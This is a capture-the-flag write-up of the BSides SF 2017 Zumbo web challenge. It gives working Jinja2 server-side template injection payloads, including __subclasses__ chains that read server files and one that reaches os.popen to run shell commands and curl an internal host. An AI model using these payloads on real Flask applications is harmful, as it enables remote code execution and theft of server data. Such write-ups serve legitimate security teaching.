BSides SF 2017 : Zumbo 1 2 and 3

Welcome to ZUMBOCOM....you can do anything at ZUMBOCOM.
Three flags await. Can you find them?
URL: http://zumbo-8ac445b1.ctf.bsidessf.net

Flag 1 solution

The main page presents a bizarre psychedelic website saying i can do anything at zumbo dot com, but its a simple page.. no controls, nothing.

Well, the main html has the path of server.py

..which one is acessible from web and leaks the source code including the first flag.

Flag 1: FLAG: CENSORED

Flag 2 solution

Looking at the source we can notice some interesting things..

  • The Flask framework use - it's very common to find Flask/Jinja2 server-side template injection
  • flag1 = 'FLAG: CENSORED' - flag1 variable w/ string containing the flag1
  • open('/flag') as f: flag2 = f.read() - flag2 variable reading flag2 content from /flag file
  • flag3 = requests.get('http://vault:8080/flag').text - flag3 variable reading flag3 content from a internal remote address

Knowing this we just need to find a template injection to execute some server-side python commands and grab the remaining flags.

With the payload {{5+10}} the error returns the math result, injection confirmed.

..with {{counter}} i can dump counter variable found in source code. I've tried to leak the flag2 and flag3 variables content and read file /flag w/ raw python commands but no success.. Flask filter this.

No problem, __mro__ allows us to go back up the tree of inherited objects in the current Python environment and escalate to functions that perform what we want.

..and actually, YOU CAN DO ANYTHING AT ZUMBO DOT COM!

With the payloader {{ ''.__class__.__mro__[2].__subclasses__() }} you can dump all subclasses inherited by Flask.

Just copy and paste to a text file to be easy to identify the index of each class, or use the .index(file) to get the index.

The file() can be used to read our second flag w/ the payloader {{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read() }}

40 is the index of file() and /flag is the path of flag3 leaked at source code.

Flag2: FLAG: CENSORED

Flag 3 solution

For the 3rd flag we need to establish a remote connection inside the server network to access the http://vault:8080/flag.

Moving to __base__.__subclasses__() I found the <class 'warnings.catch_warnings'>

..that i know inherit the linecache which one have access to the os functions

..and now, WE CAN REALLY DO ANYTHING AT ZUMBO DOT COM!

os.popen() gave us a shell..

Shell payloder: {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('id').read() }}

Now just cURL to dump the remote flag.

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('curl http://vault:8080/flag').read() }}

Flag 3: FLAG: CENSORED

Helpful reading